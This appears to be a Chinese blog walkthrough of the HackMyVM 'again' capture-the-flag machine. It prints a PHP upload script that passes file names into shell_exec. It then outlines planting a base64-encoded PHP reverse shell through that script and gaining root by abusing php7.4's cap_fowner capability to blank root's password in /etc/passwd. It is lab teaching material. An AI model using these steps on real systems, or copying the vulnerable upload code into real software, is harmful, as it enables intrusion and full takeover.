当前位置:网站首页>hackmyvm: again walkthrough
hackmyvm: again walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. 命令执行获取shell
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
访问web,Get username and hint.
下载 upload.bck.
<?php
if (!isset($_FILES["myFile"])) {
die("There is no file to upload.");
}
$filepath = $_FILES['myFile']['tmp_name'];
$fileSize = filesize($filepath);
$fileinfo = finfo_open(FILEINFO_MIME_TYPE);
$filetype = finfo_file($fileinfo, $filepath);
if ($fileSize === 0) {
die("The file is empty.");
}
$allowedTypes = [
'image/jpeg' => 'jpg',
'text/plain' => 'txt'
];
if (!in_array($filetype, array_keys($allowedTypes))) {
echo $filetype;
die("File not allowed.");
}
$filename = basename($filepath);
$extension = $allowedTypes[$filetype];
$newFilepath = $_FILES['myFile']['name'];
if (!copy($filepath, $newFilepath)) {
die("Can't move file.");
}
$blacklistchars = '"%\'*|$;^`{}~\\#=&';
if (preg_match('/[' . $blacklistchars . ']/', $newFilepath)) {
echo ("No valid character detected");
exit();
}
if ($filetype === "image/jpeg"){
echo $newFilepath;
$myfile = fopen("outputimage.php", "w") or die("Unable to open file!");
$command = "base64 ".$newFilepath;
$output = shell_exec($command);
unlink($newFilepath);
echo "File uploaded";
$lol = '<img src="data:image/png;base64,'.$output.'" alt="Happy" />';
fwrite($myfile, $lol);
}
else{
$myfile2 = fopen("outputtext.txt", "w") or die("Unable to open file!");
$command = "cat ".$newFilepath;
$output = shell_exec($command);
unlink($newFilepath);
echo "File uploaded";
fwrite($myfile2, $output);
}
?>
The exploitation process is a two-step process:
- 利用txt上传一段base64编码的php反弹shell.
base64 phpreverseshell.php > tmp.txt
Upload via the upload pagetxt.
- 利用上传
jpg图片利用base64 -ddecode uploadtxt写入shell,并访问.
成功获取shell.
2. 提权
运行getcap查看特殊文件,发现php7.4具有cap_fowner权限.
修改/etc/passwd权限,将root:x:****改为root::****,成功切换至root.

[email protected]:/tmp$ su - root
su - root
[email protected]:~# ls -all
ls -all
total 28
drwx------ 3 root root 4096 Oct 12 17:36 .
drwxr-xr-x 18 root root 4096 Oct 11 07:33 ..
-rw------- 1 root root 155 Oct 12 17:36 .bash_history
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
drwxr-xr-x 3 root root 4096 Oct 11 07:38 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw------- 1 root root 25 Oct 11 07:41 r00t.txt
[email protected]:~#
边栏推荐
- Scrapy爬虫遇见重定向301/302问题解决方法
- CTF入门之md5
- SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
- 关于tp的apache 的.htaccess文件
- [sebastian/diff] A historical change extension library for comparing two texts
- (1) introduction to Thinkphp6, installation view, template rendering, variable assignment
- TypeScript 错误 error TS2469、error TS2731 解决办法
- PHP 给图片添加全图水印
- What are the killer super powerful frameworks or libraries or applications for PHP?
- PHP有哪些框架?
猜你喜欢

hackmyvm: may walkthrough

13.JS输出内容和语法

Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary

Phpstudy installs Thinkphp6 (problem + solution)

PHP Foundation March Press Announcement Released

(2) Thinkphp6 template engine ** tag

SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示

PHP8.2 version release administrator and release plan

4. The form with the input

TCP communications program
随机推荐
ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
12. What is JS
使用PHPMailer发送邮件
What are the PHP framework?
Stable and easy-to-use short connection generation platform, supporting API batch generation
GreenOptic: 1 vulnhub walkthrough
14. JS Statements and Comments, Variables and Data Types
v-on基本使用、参数传递、修饰词
PHP有哪些框架?
VIKINGS: 1 vulnhub walkthrough
Dom实现input的焦点触发
4. The form with the input
宝塔邮局邮箱设置成功后能发送不能接收问题处理
Thread Pool (Introduction and Use of Thread Pool)
[symfony/finder] The best file manipulation library
ES6三点运算符、数组方法、字符串扩展方法
(2)Thinkphp6模板引擎**标签
PHP 给图片添加全图水印
[phpunit/php-timer]一个用于代码执行时间的计时器
GreenOptic: 1 vulnhub walkthrough